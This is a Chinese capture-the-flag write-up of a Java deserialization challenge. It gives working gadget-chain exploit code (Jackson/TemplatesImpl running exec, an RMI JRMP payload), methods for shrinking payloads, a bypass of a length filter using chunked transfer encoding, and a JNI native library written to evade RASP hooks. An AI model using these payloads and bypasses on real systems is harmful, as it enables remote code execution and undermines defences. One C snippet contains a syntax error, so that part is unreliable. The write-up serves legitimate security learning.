cbctf bypass_java复现

手头屯了不少之前的比赛题目,慢慢全部解决掉,一堆题目

image-20240321214046797

也不知道是什么比赛的题目了,就凑活着学

题目名字全部用jar包作为名字了,实在是懒的去找题目来源

bypass_java

主要就是两个文件

image-20240322135956138

/read路由直接将我们的相关内容直接base64解码一下然后直接执行了反序列化操作

存在一个简单的过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.bypassjava;

import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.web.servlet.ServletComponentScan;

@SpringBootApplication
@ServletComponentScan
public class BypassJavaApplication {
public BypassJavaApplication() {
}

public static void initSelf() throws IOException {
URL url = new URL("http://127.0.0.1:8080");
HttpURLConnection connection = (HttpURLConnection)url.openConnection();
connection.setRequestMethod("GET");
connection.connect();
connection.connect();
connection.connect();
}

public static void main(String[] args) throws IOException {
SpringApplication.run(BypassJavaApplication.class, args);
initSelf();
}
}

长度长于1145 就过滤了 限制了payload的长度

直接打rmiconnect应该就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example.rmi_jrmp;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.*;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;
import java.util.Random;

public class server_attack_user {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String command = "1877330596:111";
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {

host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(0); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
// serialize(obj);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

不过可以研究一下java反序列化payload的缩短方法

java反序列化payload缩短

这篇文章给我提供了很多的思路终极Java反序列化payload缩小技术-阿里云开发者社区 (aliyun.com)

我们利用ysoserial尝试生成一下链的payload

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jackson1 'calc' > 1.txt

我们把payload生成到本地,然后尝试反序列化一下看看

1
2
3
4
5
6
7
8
public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException {
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("D:\\Desktop\\yso\\2.ser"));
inputStream.readObject();

}
}

成功弹出计算器 此时的长度是多少

1
2
byte[] data = (Files.readAllBytes(Paths.get("D:\\Desktop\\yso\\2.ser")));
System.out.println(new String(data).length());

image-20240326194508187

显然如果拿这个payload去打这里 是肯定过不去的

我们试试看缩短

看看ysoserial是怎么生成payload的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@Dependencies({"com.fasterxml.jackson.core:jackson-databind:2.14.2"})
@Authors({"Y4er"})
public class Jackson1 implements ObjectPayload<Object> {
public Jackson1() {
}

public static void main(String[] args) throws Exception {
PayloadRunner.run(Jackson1.class, args);
}

public Object getObject(String command) throws Exception {
Object template = Gadgets.createTemplatesImpl(command);
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode node = new POJONode(template);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException((Object)null);
Reflections.setFieldValue(badAttributeValueExpException, "val", node);
HashMap hashMap = new HashMap();
hashMap.put(template, badAttributeValueExpException);
return hashMap;
}
}

这里的 Gadgets.createTemplatesImpl(command);主要是加载相关的恶意字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static Object createTemplatesImpl(String command) throws Exception {
command = command.trim();
Class tplClass;
Class abstTranslet;
Class transFactory;
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
tplClass = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
transFactory = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
} else {
tplClass = TemplatesImpl.class;
abstTranslet = AbstractTranslet.class;
transFactory = TransformerFactoryImpl.class;
}

if (command.startsWith("CLASS:")) {
Class<?> clazz = Class.forName("ysoserial.payloads.templates." + command.substring(6), false, Thread.currentThread().getContextClassLoader());
return createTemplatesImpl(clazz, (String)null, (byte[])null, tplClass, abstTranslet, transFactory);
} else if (command.startsWith("FILE:")) {
byte[] bs = Files.readBytes(new File(command.substring(5)));
return createTemplatesImpl((Class)null, (String)null, bs, tplClass, abstTranslet, transFactory);
} else {
return createTemplatesImpl((Class)null, command, (byte[])null, tplClass, abstTranslet, transFactory);
}
}

我们自己生成一下试试 利用的链子是TemplateImpl链子

1
2
3
4
5
6
BadAttributeValueExpException#readObject()->
BaseJsonNode#toString()->
InternalNodeMapper#nodeToString()->
BeanSerializer#serialize()->
BeanPropertyWriter#serializeAsField()->
TemplatesImpl#getOutputProperties()

payload1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.example.jackson;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

import static org.example.twice.RMIconnector.cc_RMIconnect.setFieldValue;

public class TemplatesImplChain {
public static void main(String[] args) throws Exception {
CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();

byte[] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\CC\\hello.class"));
byte[][] codes = {code};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes",codes);
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode node = new POJONode(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", node);
HashMap hashMap = new HashMap();
hashMap.put(templatesImpl, badAttributeValueExpException);
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

我们看看生成的长度

image-20240326195144438

可以看到成功缩短了很多

由于我们是通过本地的.class生成的payload 我们可以通过一些操作进一步减少payload的长度

包括不处理try catch的报错 设置_name的值为一个字符 直接不设置_tfactory方法等 这里不细说

去除LineNumberTable

使用javap 查看相关的字节码

image-20240326200129917

其中code为代码对应的字节码

其中的LineNumberTable在去除之后 不影响相关的解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
byte[] bytes = Files.readAllBytes(Paths.get(path));
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM9;
ClassVisitor cv = new ShortClassVisitor(api, cw);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
cr.accept(cv, parsingOptions);
byte[] out = cw.toByteArray();
Files.write(Paths.get(path), out);
ShortClassVisitor
public class ShortClassVisitor extends ClassVisitor {
private final int api;
public ShortClassVisitor(int api, ClassVisitor classVisitor) {
super(api, classVisitor);
this.api = api;
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
return new ShortMethodAdapter(this.api, mv);
}}

通过在编译的时候加上-g:none 可以不生成这个LineNumberTable和LocalVariableTable

我们在javap查看一下

image-20240326201021726

可以看到没有这两个属性了

image-20240326201052733

我们的payload也可以正常执行

这个时候的长度是

image-20240326201124452

又成功短了不少

Javassist

我们可以利用这个库去动态输出我们的恶意类

之前在cc3里面就构造过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CC3");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
System.out.println(bytes);
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});

我们修改我们的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example.jackson;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

import static org.example.twice.RMIconnector.cc_RMIconnect.setFieldValue;

public class TemplatesImplChain {
public static void main(String[] args) throws Exception {
CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("a");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
//构造了一个能命令执行的类
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
// byte[] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\CC\\hello.class"));
// byte[][] codes = {code};
// TemplatesImpl templatesImpl = new TemplatesImpl();
// setFieldValue(templatesImpl, "_bytecodes",codes);
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode node = new POJONode(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", node);
HashMap hashMap = new HashMap();
hashMap.put(templatesImpl, badAttributeValueExpException);
serialize(hashMap);
unserialize("ser.bin");
// byte[] data = (Files.readAllBytes(Paths.get("ser.bin")));
// System.out.println(new String(data).length());
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

成功rce

image-20240326201625449

长度也显著缩短了 只剩下1722

删除重写方法

我们需要继承这个类AbstractTranslet 才能正常执行

也就是要求我们需要重写他的相关方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example.CC;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class hello extends AbstractTranslet {
public hello() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception var2) {
var2.printStackTrace();
}

}

public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
}

public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
}
}

如果不重写 编译就会不通过

但是不通过不代表不能运行

我们可以利用Javassist构造 代码同上 就不细说了

确实缩短了很多,但是rmiconnect一把梭不久直接秒了吗?

查找资料的时候发现了原题

DASCTF X CBCTF 2023 bypassjava

不出网 没法攻击了

这下只能另寻他法

chunked 编码绕过getContentLength

我们看一下这个waf

1
2
3
4
5
6
7
8
9
10
11
12
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException {
try {
if (servletRequest.getContentLength() >= 1145) {
servletResponse.getWriter().println("It's tool long!!!!");
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception var5) {
servletResponse.getWriter().println(var5.getMessage());
}

}

使用了servletRequest.getContentLength() 去获取了请求体的长度

我们调试一下看看是怎么生成的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.example.bypassjava.filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/*")
public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException {

System.out.println(servletRequest.getContentLength());

}
@Override
public void destroy() {
}
}

修改我们的过滤器,在输出的地方打上断点,请求

image-20240327104231188

首先判断了这个请求是否为空 如果为空就抛出错误

image-20240327105113031

image-20240327105332571

这里会判断这个contentLength的长度之不是-1L

这个值显然需要满足一些条件才能被赋值

往上找找 注意到org.apache.coyote.http11.Http11Processor里面存在prepareInputFilters方法

image-20240327110155561

在这里先将contentLength的值设置为-1L

image-20240327110238536

然后调用getContentLengthLong去计算正确的值

下面看到有一个方法会把原来的值设置成-1L

image-20240327111124802

这里需要设置this.contentDelimitation为true才能从成功

注意到

image-20240327111856182

只要设置了Transfer-Encoding的值为chunked 就会设置this.contentDelimitation=true

从而完成对长度的绕过

image-20240327112812636

RASP_ BYPASS

RASP

RASP全称是Runtime applicaion self-protection,在2014念提出的一种应用程序自我保护技术,将防护功能注入到应用程序之中,通过少量的Hook函数监测程序的运行,根据当前的上下文环境实时阻断攻击事件

在jdk1.5之后,java提供一个名为Instrumentation的API接口,Instrumentation 的最大作用,就是类定义动态改变和操作。开发者可以在一个普通Java程序(带有 main 函数的 Java 类)运行时,通过 – javaagent参数指定一个特定的 jar 文件(包含 Instrumentation 代理)来启动 Instrumentation 的代理程序。

不过也存在很多绕过手段

JNI绕过RASP

jni内部封装了一些c语言方法 java底层会调用相关的方法

1
2
3
4
5
1. 定义一个native修饰的方法
2. 使用javah进行编译
3. 编写对应的c语言代码
4. 使用gcc编译成dll文件
5. 编写一个Java类使用System.loadLibrary方法,加载dll文件并且调用

创建一个类

image-20240327182019652

然后使用javac编译image-20240327182102170

1
javac -cp . ./Command.java -h com.example.jdk17bypass.demos.Command

编译成一个c语言文件

image-20240327182715122

这个是基于之前传入的java生成的头文件

构造一个c语言的命令执行文件

来源JDK17绕过反射限制与RASP初探 - 首页|Aiwin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:Aiwin
文章:JDK17绕过反射限制与RASP初探
链接:https://www.aiwin.fun/index.php/archives/4389/#cl-8

#include "com_example_jdk17bypass_demos_Command.h"
#include "jni.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
char buffer[1024*12];
FILE *pipe = popen(cmd, "r");
if (!pipe)
return 0;

while (!feof(pipe))
{
if (fgets(buffer, sizeof(buffer), pipe))
{
strcat(result, buffer);
}
}
pclose(pipe);
return 1;
}
JNIEXPORT jstring JNICALL Java_com_example_jdk17bypass_demos_Command_exec(JNIEnv *env, jobject class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = "";
execmd(cstr, result));
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
return cmdresult;
}

image-20240327184422340

编译成相关文件

win下

1
gcc -I "D:\java\include" -I "D:\java\include\win32" -D__int64="long long" --shared "D:\Desktop\com.example.jdk17bypass.demos.Command\shell.c"  -o ./jni.dll

linux下

1
2
3
4
javac xxx.java
javah -jni xxx
g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o xxx.so xxx.cpp

成功获取了dll文件

然后我们如果调用这个dll去做一些恶意的操作

1
2
3
4
5
6
public static void main(String[] args) {
System.loadLibrary("jni"); //load()指定绝对路径
Command command = new Command();
String ipconfig = command.exec("calc");
System.out.println(ipconfig);
}

在rasp里面主要都是hook掉一些Runtime,ProcessBuilder啥的

我们可以将这个jni一同上传到web端,进行一个加载执行命令

贴一个示例代码[Java 基础 - 本地命令执行 - 《Java Web安全] 攻击Java Web应用》 - 书栈网 · BookStack